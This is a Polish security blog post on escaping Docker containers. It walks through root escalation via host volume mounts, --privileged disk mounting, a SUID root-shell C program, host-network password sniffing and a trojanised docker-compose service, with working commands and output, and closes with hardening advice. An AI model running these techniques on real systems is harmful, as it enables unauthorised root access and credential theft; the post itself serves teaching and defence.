Docker - ucieczka z Alcatraz

10 lutego 2019, Autor: Paweł Maziarz, Kategoria red, tagi: , ,

Docker pozwala uruchamiać oprogramowanie w skonteneryzowanym środowisku, co inaczej można nazwać wirtualizacją na poziomie systemu operacyjnego. Klasyczne rozwiązania wirtualizacyjne jak VMware, VirtualBox czy Xen uruchamiają cały nowy system operacyjny na emulowanym sprzęcie, podczas gdy Docker (i inne rozwiązania oparte o kontenery jak rkt czy lxd) uruchamia wskazane programy w obrębie tego samego systemu operacyjnego, kernela. Jedyne o co się troszczy, to o odpowiednia separacja - każdy kontener posiada własną przestrzeń nazw, sieć, c-grupy:

Obrazy Dockera zawierają szczegółowe informacje odnośnie wersji uruchamianego oprogramowania, bibliotek zależnych i całego ekosystemu. Jest więc to idealne rozwiązanie dla programistów, którzy chcą sprawdzić jak ich aplikacja zachowa się z różnymi wersjami bibliotek czy usług.

Przykład? Załóżmy, że chcemy uruchomić skrypt PHP w najnowszej wersji 7, ale również sprawdzić czy uruchomi się dobrze na wersjach 5.6 oraz 5.3. Nic prostszego - wystarczy uruchomić wybrany tag obrazu PHP, podając go po dwukropku. Żeby to zwizualizować, poniżej uruchomienie PHP w ostatniej wersji 7, 5.6 oraz 5.3 (swoją drogą, jeśli chcielibyście, by pojawiło się bezbolesne wprowadzenie do Dockera - dajcie znać).

drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb  6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$

drg@kilo:~$ docker run php:5.6-cli php --version
PHP 5.6.40 (cli) (built: Jan 23 2019 00:04:26)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
drg@kilo:~$

drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb  6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$

Wykorzystując tę właściwość, życie każdego porządnego programisty, który poważnie podchodzi do swoich projektów, staje się istotnie piękniejsze.

Jeśli chodzi o zastosowanie produkcyjne, Docker to już też dobrze wygrzany temat, między innymi dlatego, że z wykorzystaniem Kubernetes czy Docker Swarm pomaga stworzyć szalenie wygodną i skalowalną infrastrukturę. A do tego wprowadzającą dodatkową warstwę separacji, co może być bardzo dużym bonusem, jeśli chodzi o bezpieczeństwo.

No to w czym problem?

Jak mawiał wujek Ben:

Z wielką mocą przychodzi wielka odpowiedzialność.

Docker niewątpliwie ma wielką moc, pytanie kto otrzymuje odpowiedzialność w postaci możliwości uruchamiania nowych kontenerów. DevOpsy, administratorzy czyli opiekunowie infrastruktury - wiadomo. Czasem dostają tę możliwość również programiści czy testerzy.

Czyli sytuacja może wyglądać następująco: na serwerach (czy to testowych czy produkcyjnych) programiści mają konta systemowe i mogą uruchamiać własne kontenery, technicznie - należą do grupy docker:

programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$

Oczywiście nie mają uprawnień administracyjnych, więc jeśli będą chcieli przeczytać pierwszą linijkę pliku /etc/shadow zawierającą hasło roota, nie uda im się to, wiadomo:

programista.stachu@kilo:~$ head -n 1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
programista.stachu@kilo:~$

Ale jeśli programista.stachu ma w sobie duszę hakera, nie będzie to dla niego problemem. Nie będzie to dla niego problemem na wiele sposobów.

Wolumeny

Kontenery Dockera są co do zasady efemeryczne czyli nie zachowują stanu, to oznacza, że jeśli uruchomimy kontener, zrobimy zmiany w pliku /etc/passwd, zrestartujemy kontener - zmiany w tym pliku znikną.

Między innymi dlatego Docker pozwala podmontować lokalne katalogi do kontenera - wtedy kontener ma dostęp do tego katalogu i wszystko co kontener pozmienia, będzie zmienione w podmontowanym katalogu. Robi się to np. poprzez podanie opcji -v ścieżka_lokalna:ścieżka_w_kontenerze.

Zobaczmy - uruchamiamy kontener z obrazu bash, tworzymy w nim plik /tmp/test, wychodzimy z kontenera, uruchamiamy kontener ponownie i co? Utworzonego pliku nie widać:

programista.stachu@kilo:~$ docker run -it bash
bash-5.0# echo 1 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$ 

programista.stachu@kilo:~$ docker run -it bash
bash-5.0# cat /tmp/test
cat: can't open '/tmp/test': No such file or directory
bash-5.0# exit
programista.stachu@kilo:~$ 

Drugie podejście - montujemy katalog bieżący $(pwd) do /tmp, tworzymy /tmp/test, uruchamiamy ponownie - plik jest.

programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# echo 2 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$ 

programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# cat /tmp/test
2
bash-5.0# exit
programista.stachu@kilo:~$

Jako bonus, w lokalnym systemie plików, w katalogu bieżącym, również widnieje utworzony plik test który stworzyliśmy wewnątrz kontenera:

programista.stachu@kilo:~$ cat test
2
programista.stachu@kilo:~$

Dzięki temu mechanizmowi możemy uruchamiać usługi, które zapisują swój stan (np. bazy danych) i mamy pewność, że po restarcie kontenera dane nie wyparują.

Co jest jeszcze istotne? Domyślnie kontenery uruchamiają się z uprawnieniami roota, jednak nie mamy dostępu ani do prawdziwego pliku z hasłami (/etc/shadow), ani do innych procesów itd - zgodnie z założeniami:

programista.stachu@kilo:~$ docker run -it bash
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-5.0# head -n 1 /etc/shadow
root:::0:::::
bash-5.0# ps uax
PID   USER     TIME  COMMAND
    1 root      0:00 bash
    8 root      0:00 ps uax
bash-5.0# exit
programista.stachu@kilo:~$

Ale nasz Stachu Programista z duszą hakera ma pomysł - sprobuje podmontować katalog /etc do katalogu /etc w kontenerze.

programista.stachu@kilo:~$ docker run -v /etc:/etc -it bash
bash-5.0# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$

Bingo! Uzyskał nie tylko dostęp do całego pliku /etc/shadow, ale do całego katalogu /etc serwera. I to nie tylko do odczytu, ale i też do zapisu. Może więc próbować łamać hasło roota, ale równie dobrze może je zmienić, może też zmienić swój UID na 0, stając się rootem, może dodać nowego użytkownika, dodać się do innych grup itd. Analogicznie jak z katalogiem /etc, może podmontować inne katalogi, do których normalnie nie ma dostępu, np. do katalogów aplikacji gdzie znajdzie hasła do innych usług, katalog bazy danych itp.

Czy wolumeny to jedyna możliwość? O nie!

Tryb uprzywilejowany

Podczas uruchamiania kontenera możemy użyć opcji –privileged, która uruchomi kontener w trybie uprzywilejowanym. Za dokumentacją:

The –privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

Brzmi nieźle. Porównajmy co się dzieje w katalogu /dev kiedy uruchomimy kontener w trybie uprzywilejowanym i nieuprzywilejowanym.

Tryb nieuprzywilejowany:

ista.stachu@kilo:~$ docker run -it bash
bash-5.0# ls /dev
console  core     fd       full     mqueue   null     ptmx     pts      random   shm      stderr   stdin    stdout   tty      urandom  zero
bash-5.0# exit
programista.stachu@kilo:~$

Tryb uprzywilejowany:

programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# ls /dev
agpgart             mapper              sda2                tty15               ttyS0
autofs              mem                 sda5                tty16               ttyS1
bsg                 memory_bandwidth    sg0                 tty17               ttyS2
btrfs-control       midi                sg1                 tty18               ttyS3
console             mqueue              shm                 tty19               uhid          
core                net                 snapshot            tty2                uinput        
cpu_dma_latency     network_latency     snd                 tty20               urandom       
cuse                network_throughput  sr0                 tty21               vcs           
dmmidi              null                stderr              tty22               vcs1          
dri                 parport0            stdin               tty23               vcs2          
fb0                 port                stdout              tty24               vcs3          
fd                  ppp                 tty                 tty25               vcs4          
fd0                 psaux               tty0                tty26               vcs5          
full                ptmx                tty1                tty27               vcs6          
fuse                pts                 tty10               tty28               vcsa                
hpet                random              tty11               tty29               vcsa1               
input               rtc0                tty12               tty3                vcsa2
kmsg                sda                 tty13               tty30               vcsa3
loop-control        sda1                tty14               tty31               vcsa4
bash-5.0#
programista.stachu@kilo:~$

Rzuca się coś fajnego Wam w oczy? Coś co mogłoby się przydać w dostępie do pliku z hasłami? Urządzenie /dev/sda będące dyskiem twardym oraz /dev/sda1, /dev/sda2, /dev/sda5 będące partycjami. A co się robi z takimi urządzeniami? Montuje!

programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# fdisk -l /dev/sda
Disk /dev/sda: 50 GB, 53687091200 bytes, 104857600 sectors
6527 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/sda1 *  0,32,33     1023,254,63       2048   37939199   37937152 18.0G 83 Linux
/dev/sda2    1023,254,63 1023,254,63   37941246  104855551   66914306 31.9G  5 Extended
/dev/sda5    1023,254,63 1023,254,63   37941248  104855551   66914304 31.9G 82 Linux swap
bash-5.0# mount /dev/sda1 /mnt
bash-5.0# head -n 1 /mnt/etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$

Znów - Stachu może zrobić analogicznie wszystko co w pierwszym wypadku. A nawet więcej.

Wszystko fajnie, pięknie, ale Stachu Programista nie chce się bawić w łamanie hasła, dodawanie nowych użytkowników czy inne grube zmiany, chce mieć uprawnienia roota szybko, skutecznie i względnie po cichu. Co może zrobić fajnego? Tak, słowo fajne jest tutaj dość dwuznaczne.

Suid tu, suid tam

Pamiętacie jak trochę wyżej w kontenerze utworzyliśmy plik /tmp/test? Ten, który zawierał w sobie 2? Ten, który potem został w katalogu bieżącym Stacha? Nie pokazałem Wam najważniejszego:

programista.stachu@kilo:~$ ls -l test
-rw-r--r-- 1 root root 2 lut  7 20:35 test
programista.stachu@kilo:~$

Jako, że kontenery uruchamiają się domyślnie jako root, właścicielem utworzonego pliku jest root - nie programista.stachu. Co w związku z tym? Myślę, że ci z Was, którzy na co dzień mają do czynienia z systemami Linux/Unix wiedzą co robić.

Utwórzmy program wykonywalny, dajmy mu SUID bit, co będzie oznaczało, że ktokolwiek uruchomi ten program, uruchomi go z uprawnieniami jego właściciela - roota.

programista.stachu@kilo:~$ mkdir tmp
programista.stachu@kilo:~$ docker run -v $(pwd)/tmp:/tmp -it gcc
root@84499785b358:/# cat > suid.c << EOF
> #include <unistd.h>
> void main() {
>     setuid(0); seteuid(0); setgid(0); setegid(0);
>     execl("/bin/bash", "bash", NULL);
> }
> EOF
root@84499785b358:/# cc -static suid.c -o /tmp/suid
root@84499785b358:/# chmod +s /tmp/suid
root@84499785b358:/# exit
programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$ ./tmp/suid
root@kilo:~# id
uid=0(root) gid=0(root) groups=0(root),999(docker),1001(programista.stachu)
root@kilo:~#
root@kilo:~# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
root@kilo:~#

Co tu się wydarzyło? Programista uruchomił kontener z kompilatorem GCC, wewnątrz kontenera, już jako root, utworzył prosty program, który najpierw ustawia UID, EUID, GID oraz EGID na 0 (czyli uid, efektywny uid, grupę i efektywną grupę na root:root), skompilował go, a następnie ustawił mu bit SUID. Po wyjściu z kontenera, program znajduje się w podmontowanym katalogu ./tmp, po jego uruchomieniu nasz bohater staje się rootem.

Gotowy do użycia proof-of-contept jako obraz Dockera znajduje się na https://hub.docker.com/r/aptmasterclass/suidshell, możemy więc go w szybki sposób użyć.

Czy istnieją jeszcze inne, potencjalne zagrożenia, kiedy taki ambitny programista otrzyma możliwość uruchamiania kontenerów? Owszem.

Sieć

Docker wspiera sieć na różne sposoby. Żeby nie wchodzić zbytnio w szczegóły, domyślnie kontenery mają własne interfejsy sieciowe, własną odseparowaną od interfejsów sieciowych hosta adresację.

programista.stachu@kilo:~$ docker run -it bash
bash-5.0# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:446 (446.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

bash-5.0# exit
programista.stachu@kilo:~$

Jeśli zatem uruchomilibyśmy jakiś sniffer pakietów, np. tcpdump zobaczylibyśmy tylko ruch kierowany do naszego kontenera - nuda. Jeśli rzuciliście okiem na to jakie tryby sieci wspiera Docker, pojawia się bardzo ciekawa opcja, mianowicie host:

host: For standalone containers, remove network isolation between the container and the Docker host, and use the host’s networking directly. host is only available for swarm services on Docker 17.06 and higher. See use the host network.

Oznacz to, że jeśli uruchomimy kontener z siecią w trybie host - ściągnięta jest izolacja między kontenerami i samym hostem czyli kontener ma dostęp do wszystkich interfejsów hosta:

programista.stachu@kilo:~$ docker run --net=host -it bash
bash-5.0# ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:70:FA:DA:75
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:70ff:fefa:da75/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:68 errors:0 dropped:0 overruns:0 frame:0
          TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5395 (5.2 KiB)  TX bytes:15816 (15.4 KiB)

eth0      Link encap:Ethernet  HWaddr 02:00:00:2D:BD:1E
          inet addr:193.70.XX.XX  Bcast:193.70.56.255  Mask:255.255.255.0
          inet6 addr: fe80::ff:fe2d:bd1e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2940354 errors:0 dropped:20 overruns:0 frame:0
          TX packets:1110205 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3038990990 (2.8 GiB)  TX bytes:155169517 (147.9 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:18047995 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18047995 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2841768827 (2.6 GiB)  TX bytes:2841768827 (2.6 GiB)

bash-5.0# exit
programista.stachu@kilo:~$

Co w związku z tym? Nasz Stachu Programista może uruchomić sniffer pakietów (np. z takiego małego obrazu) i nasłuchiwać na wszelkie wystąpienia fraz takich jak password, authorization, login, user itd. Dzięki temu nie tylko będzie w stanie podsłuchać loginy i hasła, które w nieszyfrowany sposób obsługiwane są przez sieć innych kontenerów, ale również loginy i hasła wchodzące i wychodzące do serwera bezpośrednio (np. ktoś sprawdza pocztę, administrator loguje się do jakiegoś serwera FTP etc):

drg@kilo:~$ docker run --net=host aptmasterclass/tcpdump tcpdump -i any -A -l |grep -i --color "user\|pass\|authorization\|login"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: curl/7.63.0
06:35:57.575178 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 1:14, ack 45, win 229, options [nop,nop,TS val 1425126781 ecr 2612321835], length 13: FTP: USER wpuser
T..}...+USER wpuser
06:35:57.610251 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 45:79, ack 14, win 114, options [nop,nop,TS val 2612325393 ecr 1425126781], length 34: FTP: 331 Password required for wpuser
....T..}331 Password required for wpuser
06:36:02.650408 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 14:39, ack 79, win 229, options [nop,nop,TS val 1425131856 ecr 2612325393], length 25: FTP: PASS Supertajne/Haslo!!
T..P....PASS Supertajne/Haslo!!
06:36:02.685258 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 79:101, ack 39, win 114, options [nop,nop,TS val 2612330468 ecr 1425131856], length 22: FTP: 530 Login incorrect.
....T..P530 Login incorrect.
[...]

Od razu widać, dlaczego nawet w sieciach wewnętrznych wszystkie usługi powinny być szyfrowane (SSL/TLS) jeśli tylko to możliwe. Prawda?

OK, czyli musimy uważać komu dajemy możliwość uruchamiania kontenerów

Tak, oczywiście, to po pierwsze. Jest jeszcze inny aspekt - musimy uważać co sami uruchamiamy.

Jeśli znacie trochę ideę kontenerów, wiecie, że ogólna zasada jest taka, że jedna usługa to jeden kontener. Na przykład jeśli chcemy uruchomić Wordpressa w kontenerze, potrzebujemy tak naprawdę wystartować 2 kontenery:

  1. kontener z bazą danych,
  2. kontener z serwerem WWW.

W innych przypadkach tych usług może być jeszcze więcej. By to wszystko uprościć, możemy wykorzystać tzw. Stacks lub Docker Compose. Sprowadza się to do stworzenia pliku YAML z definicją usług, a następnie wykonanie polecenia docker stack deploy -c stack.yml obraz lub docker-compose up). Przykładowy plik z usługami dla Wordpressa:

version: '3.1'

services:

  wordpress:
    image: wordpress
    restart: always
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'

Wyobraźcie sobie teraz, że trochę ten plik zmodyfikujemy, żeby wyglądał mniej więcej tak:

version: '3.1'

services:

  wordpress:
    image: wordpress
    restart: always
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'

  update:
    image: aptmasterclass/suidshell
    volumes:
      - /tmp:/tmp

Dodaliśmy niewinną usługę update, która montuje /tmp hosta do /tmp kontenera po to, by - jak już dobrze wiecie - zapisać tam suidshella. Po uruchomieniu usług poleceniem docker-compose up, oczywiście Wordpress się uruchomi, baza danych wystartuje, a jako bonus, w katalogu /tmp hosta pojawi się plik suidshell. Ktokolwiek na serwerze go uruchomi, stanie się rootem.

W plikach dla Stacks czy Docker Compose można również umieszczać definicje sieci (np. network_mode: host) czy trybu uprzywilejowanego (privileged: true).

Chociażby z tego względu tak istotne jest przeglądanie plików z definicjami samych obrazów czy zestawów obrazów, bo możemy mieć do czynienia ze złośliwymi obrazami, które robią więcej niż to czego od nich oczekujemy. Zobaczcie np. na jedną z definicji Docker Compose dla Gitlaba:

https://github.com/mgcrea/docker-compose-gitlab-ce/blob/master/docker-compose.yml.

Sporo w nim usług, więc cyberprzestępcy zawsze mogą próbować coś w analogicznych plikach przemycić licząc, że umknie to naszej uwadze.

Red team vs Blue team

Red team
  • Jeśli uda Wam się uruchamiać nowe kontenery Dockera (w praktyce dostęp do /var/run/docker.sock), jest duża szansa, że możecie przejąć hosta opisywanymi wyżej technikami.
  • Nie musicie celować bezpośrednio w Dockera lecz narzędzie orkiestracji, jeśli jest używane (Kubernetes, Docker Swarm).
  • Może się okazać, że łatwiej będzie skompromitować wykorzystywane repozytorium Dockera lub osobę/instytucję, której obrazy wykorzystuje atakowana firma.
  • Możecie również spróbować spowodować, by administratorzy/devopsy uruchomili Wasz podstawiony obraz, czy to bezpośrednio czy to przez złośliwy docker-compose.yml
Blue team
  • Kontrolujcie kto ma możliwość uruchamiania kontenerów Dockera.
  • Jeśli to możliwe, nie uruchamiajcie usług w Dockerze chodzących z uprawnieniami roota.
  • Dokonajcie hardeningu Dockera, Kubernetesa i ekipy, np. z wykorzystaniem dokumentów z CIS Benchmarks i bazujących na nich projektach jak Docker Bench for Security, kube-bench.
  • W środowisku produkcyjnym zezwalajcie wyłącznie na używanie oficjalnych obrazów.
  • Pomyślcie o wdrożeniu własnego repozytorium artefaktów (np. Nexus) i zezwalajcie na uruchamianie kontenerów tylko z obrazów znajdujących się w nim, które wcześniej dokładnie testujecie, zwłaszcza na produkcji.
  • arto zagłębić się w mechanizmy Access authorization plugin oraz --userns-remap.

* * *

Jeśli podobał Ci się ten wpis, jestem przekonany, że spodoba Ci się APT Masterclass. Pomyśl też o podzieleniu się nim na Facebooku, LinkedIn i Twitterze.